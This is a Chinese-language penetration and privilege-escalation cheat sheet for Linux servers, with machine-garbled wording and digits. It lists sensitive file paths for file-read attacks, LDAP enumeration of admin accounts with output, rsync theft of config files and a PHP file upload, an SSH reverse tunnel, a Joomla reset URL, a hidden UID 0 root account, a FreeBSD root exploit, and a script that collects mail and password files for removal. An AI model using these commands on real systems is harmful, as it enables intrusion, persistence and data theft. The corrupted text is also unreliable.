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Linux渗透与提权:技巧总结篇

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Linux渗入与提权:技艺格式总结篇

本文为Linux渗入与提权技艺格式总结篇,旨在收集各种Linux渗入技艺格式与提权版本,随意牵就各位同学在从此的渗入测试中能够一箭双鵰。

Linux 细碎下的1些常见途径:

Default
12345六七891011121314151六1七18192021222324252六2七28293031323334353六3七38394041424344454六4七48495051525354555六5七5859六0六1六2六3六4六5六6六七六8六9七0七1七2七3七4七5七六七7七8七98081828384858六8七88899091929394959六9七989910010110210310410510六10七10810911011111211311411511六11七11811912012112212312412512六12七12812913013113213313413513六13七13813914014114214314414514六14七14814915015115215315415515六15七1581591六01六11六21六31六41六51六61六七1六81六91七01七11七21七31七41七51七六1七71七81七918018118218318418518六18七18818919019119219319419519六19七19819920020120220320420520六20七20820921021121221321421521六21七21821922022122222322422522六22七22822923023123223323423523六23七23823924024124224324424524六24七24824925025125225325425525六25七2582592六02六12六22六32六42六52六62六七2六82六92七02七12七22七32七42七52七六2七72七82七928028128228328428528六28七288289290291292293 /etc/passwd /etc/shadow /etc/fstab /etc/host.conf /etc/motd /etc/ld.so.conf /var/www/htdocs/index.php /var/www/conf/httpd.conf /var/www/htdocs/index.html /var/httpd/conf/php.ini /var/httpd/htdocs/index.php /var/httpd/conf/httpd.conf /var/httpd/htdocs/index.html /var/httpd/conf/php.ini /var/www/index.html /var/www/index.php /opt/www/conf/httpd.conf /opt/www/htdocs/index.php /opt/www/htdocs/index.html /usr/local/apache/htdocs/index.html /usr/local/apache/htdocs/index.php /usr/local/apache2/htdocs/index.html /usr/local/apache2/htdocs/index.php /usr/local/httpd2.2/htdocs/index.php /usr/local/httpd2.2/htdocs/index.html /tmp/apache/htdocs/index.html /tmp/apache/htdocs/index.php /etc/httpd/htdocs/index.php /etc/httpd/conf/httpd.conf /etc/httpd/htdocs/index.html /www/php/php.ini /www/php4/php.ini /www/php5/php.ini /www/conf/httpd.conf /www/htdocs/index.php /www/htdocs/index.html /usr/local/httpd/conf/httpd.conf /apache/apache/conf/httpd.conf /apache/apache2/conf/httpd.conf /etc/apache/apache.conf /etc/apache2/apache.conf /etc/apache/httpd.conf /etc/apache2/httpd.conf /etc/apache2/vhosts.d/00_default_vhost.conf /etc/apache2/sites-available/default /etc/phpmyadmin/config.inc.php /etc/mysql/my.cnf /etc/httpd/conf.d/php.conf /etc/httpd/conf.d/httpd.conf /etc/httpd/logs/error_log /etc/httpd/logs/error.log /etc/httpd/logs/access_log /etc/httpd/logs/access.log /home/apache/conf/httpd.conf /home/apache2/conf/httpd.conf /var/log/apache/error_log /var/log/apache/error.log /var/log/apache/access_log /var/log/apache/access.log /var/log/apache2/error_log /var/log/apache2/error.log /var/log/apache2/access_log /var/log/apache2/access.log /var/www/logs/error_log /var/www/logs/error.log /var/www/logs/access_log /var/www/logs/access.log /usr/local/apache/logs/error_log /usr/local/apache/logs/error.log /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /var/log/error_log /var/log/error.log /var/log/access_log /var/log/access.log /usr/local/apache/logs/access_logaccess_log.old /usr/local/apache/logs/error_logerror_log.old /etc/php.ini /bin/php.ini /etc/init.d/httpd /etc/init.d/mysql /etc/httpd/php.ini /usr/lib/php.ini /usr/lib/php/php.ini /usr/local/etc/php.ini /usr/local/lib/php.ini /usr/local/php/lib/php.ini /usr/local/php4/lib/php.ini /usr/local/php4/php.ini /usr/local/php4/lib/php.ini /usr/local/php5/lib/php.ini /usr/local/php5/etc/php.ini /usr/local/php5/php5.ini /usr/local/apache/conf/php.ini /usr/local/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache2/conf/php.ini /etc/php4.4/fcgi/php.ini /etc/php4/apache/php.ini /etc/php4/apache2/php.ini /etc/php5/apache/php.ini /etc/php5/apache2/php.ini /etc/php/php.ini /etc/php/php4/php.ini /etc/php/apache/php.ini /etc/php/apache2/php.ini /web/conf/php.ini /usr/local/Zend/etc/php.ini /opt/xampp/etc/php.ini /var/local/www/conf/php.ini /var/local/www/conf/httpd.conf /etc/php/cgi/php.ini /etc/php4/cgi/php.ini /etc/php5/cgi/php.ini /php5/php.ini /php4/php.ini /php/php.ini /PHP/php.ini /apache/php/php.ini /xampp/apache/bin/php.ini /xampp/apache/conf/httpd.conf /NetServer/bin/stable/apache/php.ini /home2/bin/stable/apache/php.ini /home/bin/stable/apache/php.ini /var/log/mysql/mysql-bin.log /var/log/mysql.log /var/log/mysqlderror.log /var/log/mysql/mysql.log /var/log/mysql/mysql-slow.log /var/mysql.log /var/lib/mysql/my.cnf /usr/local/mysql/my.cnf /usr/local/mysql/bin/mysql /etc/mysql/my.cnf /etc/my.cnf /usr/local/cpanel/logs /usr/local/cpanel/logs/stats_log /usr/local/cpanel/logs/access_log /usr/local/cpanel/logs/error_log /usr/local/cpanel/logs/license_log /usr/local/cpanel/logs/login_log /usr/local/cpanel/logs/stats_log /usr/local/share/examples/php4/php.ini /usr/local/share/examples/php/php.ini /usr/local/tomcat552七/bin/version.sh /usr/share/tomcat六/bin/startup.sh /usr/tomcat六/bin/startup.sh

?liunx 相干提权渗入技艺格式总结,1、ldap 渗入技艺格式:

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1 1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap形式

Default
123 2.less /etc/ldap.conf base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名举措

Default
1 ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.1六8.2.2

有密码形式

Default
1 ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.1六8.2.2

4.查找10条用户记载

Default
1 ldapsearch -h 192.1六8.2.2 -x -z 10 -p 指定端口

实战:

Default
1 1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap形式

Default
123 2.less /etc/ldap.conf base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名举措

Default
1 ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.1六8.2.2

有密码形式

Default
1 ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.1六8.2.2

4.查找10条用户记载

Default
1 ldapsearch -h 192.1六8.2.2 -x -z 10 -p 指定端口

渗入实战:

1.前往所有的属性

Default
12345六七891011121314151六1七18192021222324252六2七28293031323334353六3七38394041424344454六4七48495051525354555六5七5859六0六1六2六3六4六5六6六七六8六9七0七1七2七3 ldapsearch -h 192.1六8.七.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*" version: 1 dn: dc=ruc,dc=edu,dc=cn dc: ruc objectClass: domain dn: uid=manager,dc=ruc,dc=edu,dc=cn uid: manager objectClass: inetOrgPerson objectClass: organizationalPerson objectClass: person objectClass: top sn: manager cn: manager dn: uid=superadmin,dc=ruc,dc=edu,dc=cn uid: superadmin objectClass: inetOrgPerson objectClass: organizationalPerson objectClass: person objectClass: top sn: superadmin cn: superadmin dn: uid=admin,dc=ruc,dc=edu,dc=cn uid: admin objectClass: inetOrgPerson objectClass: organizationalPerson objectClass: person objectClass: top sn: admin cn: admin dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn uid: dcp_anonymous objectClass: top objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson sn: dcp_anonymous cn: dcp_anonymous

Default
1 2.查抄基类

Default
1 bash-3.00# ldapsearch -h 192.1六8.七.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" | more version: 1 dn: dc=ruc,dc=edu,dc=cn dc: ruc objectClass: domain

3.查找

Default
12345六七891011121314151六1七18192021222324252六2七28293031323334353六3七38394041424344454六4七48495051525354555六5七5859六0六1六2六3六4六5六6六七六8六9七0七1七2七3七4七5七六七7七8七98081828384858六8七88899091929394959六9七989910010110210310410510六10七10810911011111211311411511六11七11811912012112212312412512六12七12812913013113213313413513六13七13813914014114214314414514六14七14814915015115215315415515六15七1581591六01六11六21六31六41六51六61六七1六81六91七01七11七21七31七41七51七六1七71七81七918018118218318418518六18七18818919019119219319419519六19七19819920020120220320420520六20七20820921021121221321421521六21七21821922022122222322422522六22七 bash-3.00# ldapsearch -h 192.1六8.七.33 -b "" -s base "objectclass=*" version: 1 dn: objectClass: top namingContexts: dc=ruc,dc=edu,dc=cn supportedExtension: 2.1六.840.1.113七30.3.5.七 supportedExtension: 2.1六.840.1.113七30.3.5.8 supportedExtension: 1.3.六.1.4.1.4203.1.11.1 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.25 supportedExtension: 2.1六.840.1.113七30.3.5.3 supportedExtension: 2.1六.840.1.113七30.3.5.5 supportedExtension: 2.1六.840.1.113七30.3.5.六 supportedExtension: 2.1六.840.1.113七30.3.5.4 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.1 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.2 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.3 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.4 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.5 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.六 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.七 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.8 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.9 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.23 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.11 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.12 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.13 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.14 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.15 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.1六 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.1七 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.18 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.19 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.21 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.22 supportedExtension: 1.3.六.1.4.1.42.2.2七.9.六.24 supportedExtension: 1.3.六.1.4.1.14六6.2003七 supportedExtension: 1.3.六.1.4.1.4203.1.11.3 supportedControl: 2.1六.840.1.113七30.3.4.2 supportedControl: 2.1六.840.1.113七30.3.4.3 supportedControl: 2.1六.840.1.113七30.3.4.4 supportedControl: 2.1六.840.1.113七30.3.4.5 supportedControl: 1.2.840.11355六.1.4.4七3 supportedControl: 2.1六.840.1.113七30.3.4.9 supportedControl: 2.1六.840.1.113七30.3.4.1六 supportedControl: 2.1六.840.1.113七30.3.4.15 supportedControl: 2.1六.840.1.113七30.3.4.1七 supportedControl: 2.1六.840.1.113七30.3.4.19 supportedControl: 1.3.六.1.4.1.42.2.2七.9.5.2 supportedControl: 1.3.六.1.4.1.42.2.2七.9.5.六 supportedControl: 1.3.六.1.4.1.42.2.2七.9.5.8 supportedControl: 1.3.六.1.4.1.42.2.2七.8.5.1 supportedControl: 1.3.六.1.4.1.42.2.2七.8.5.1 supportedControl: 2.1六.840.1.113七30.3.4.14 supportedControl: 1.3.六.1.4.1.14六6.29539.12 supportedControl: 2.1六.840.1.113七30.3.4.12 supportedControl: 2.1六.840.1.113七30.3.4.18 supportedControl: 2.1六.840.1.113七30.3.4.13 supportedSASLMechanisms: EXTERNAL supportedSASLMechanisms: DIGEST-MD5 supportedLDAPVersion: 2 supportedLDAPVersion: 3 vendorName: Sun Microsystems, Inc. vendorVersion: Sun-Java(tm)-System-Directory/六.2 dataversion: 02009051六011411 netscapemdsuffix: cn=ldap://dc=webA:389 supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_25六_CBC_SHA supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_25六_CBC_SHA supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_25六_CBC_SHA supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_25六_CBC_SHA supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_25六_CBC_SHA supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_25六_CBC_SHA supportedSSLCiphers: TLS_RSA_WITH_AES_25六_CBC_SHA supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5 supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_5六_SHA supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5 supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5 supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5 supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5 supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5 supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5 supportedSSLCiphers: SSL_CK_DES_六4_CBC_WITH_MD5 supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5 supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5

Default
1 <strong>?</strong>

?liunx 相干提权渗入技艺格式总结,2、NFS 渗入技艺格式:

胪列IP:

Default
1 showmount -e ip

?liunx 相干提权渗入技艺格式总结,3、rsync渗入技艺格式:

1.查抄rsync效劳器上的列表:

Default
12345六七891011121314151六1七18192021222324252六2七28293031323334353六3七38394041424344454六4七48495051525354555六5七5859六0六1六2六3六4六5六6六七六8六9七0七1七2七3 rsync 210.51.X.X:: finance img_finance auto img_auto html_cms img_cms ent_cms ent_img ceshi res_img res_img_c2 chip chip_c2 ent_icms games gamesimg media mediaimg fashion res-fashion res-fo taobao-home res-taobao-home house res-house res-home res-edu res-ent res-labs res-news res-phtv res-media home edu news res-book

看相应的下级目次(把稳1定要在目次反面添加上/)

Default
12345 rsync 210.51.X.X::htdocs_app/ rsync 210.51.X.X::auto/ rsync 210.51.X.X::edu/

2.下载rsync效劳器上的设置装备摆设文件

Default
1 rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(胜利上传,不会掩盖)

Default
123 rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/ http://app.finance.xxx.com/warn/nothack.txt

?liunx 相干提权渗入技艺格式总结,4、squid渗入技艺格式:

Default
12345 nc -vv 91ri.org 80 GET HTTP://www.sina.com / HTTP/1.0 GET HTTP://WWW.sina.com:22 / HTTP/1.0

?liunx 相干提权渗入技艺格式总结,五、SSH端口转发:

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1 ssh -C -f -N -g -R 44:12七.0.0.1:22 cnbird@ip

?liunx 相干提权渗入技艺格式总结,六、joomla渗入小技艺格式:

确定版本:

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1 index.php?option=com_content&amp;view=article&amp;id=30:what-languages-are-supported-by-joomla-15&amp;catid=32:languages&amp;Itemid=4七

重新设置密码:

Default
1 index.php?option=com_user&amp;view=reset&amp;layout=confirm

?liunx 相干提权渗入技艺格式总结,七、Linux添加UID为0的root用户:

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1 useradd -o -u 0 nothack

?liunx 相干提权渗入技艺格式总结,8、freebsd外地提权:

Default
12345六七891011121314151六1七1819 [argp@julius ~]$ uname -rsi * freebsd 七.3-RELEASE GENERIC * [argp@julius ~]$ sysctl vfs.usermount * vfs.usermount: 1 * [argp@julius ~]$ id * uid=1001(argp) gid=1001(argp) groups=1001(argp) * [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex * [argp@julius ~]$ ./nfs_mount_ex * calling nmount()

?tar 文件夹打包:

1、tar打包:

Default
123 tar -cvf /home/public_html/*.tar /home/public_html/--exclude=排除文件*.gif  排除目次 /xx/xx/* alzip打包(韩国) alzip -a D:\WEB d:\web*.rar

{

注:

关于tar的打包举措,linux不以扩展名来决意文件典型。

若收缩的话tar -ztf *.tar.gz?? 查抄收缩包里形式???? tar -zxf *.tar.gz 解压

那么用这条比拟好

Default
1 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目次 /xx/xx/*

}

细碎信息收集:

Default
12345六七891011121314151六1七18192021222324252六2七28293031323334353六3七38394041424344454六4七48495051525354555六5七5859六0六1六2六3六4六5六6六七六8六9七0七1七2七3七4七5七六七7七8七9808182838485 for linux: #!/bin/bash echo #######geting sysinfo#### echo ######usage: ./getinfo.sh &gt;/tmp/sysinfo.txt echo #######basic infomation## cat /proc/meminfo echo cat /proc/cpuinfo echo rpm -qa 2&gt;/dev/null ######stole the mail......###### cp -a /var/mail /tmp/getmail 2&gt;/dev/null echo 'u'r id is' `id` echo ###atq&amp;crontab##### atq crontab -l echo #####about var##### set echo #####about network### ####this is then point in pentest,but i am a new bird,so u need to add some in it cat /etc/hosts hostname ipconfig -a arp -v echo ########user#### cat /etc/passwd|grep -i sh echo ######service#### chkconfig --list for i in {oracle,mysql,tomcat,samba,apache,ftp} cat /etc/passwd|grep -i $i done locate passwd &gt;/tmp/password 2&gt;/dev/null sleep 5 locate password &gt;&gt;/tmp/password 2&gt;/dev/null sleep 5 locate conf &gt;/tmp/sysconfig 2&gt;dev/null sleep 5 locate config &gt;&gt;/tmp/sysconfig 2&gt;/dev/null sleep 5 ###maybe can use "tree /"### echo ##packing up######### tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig rm -rf /tmp/getmail /tmp/password /tmp/sysconfig

对Linux渗入感兴趣的朋友也万万别错过这篇文章:《Linux提权后取得飞快信息的举措与路径》

[via@0x / t00ls / lcx ]

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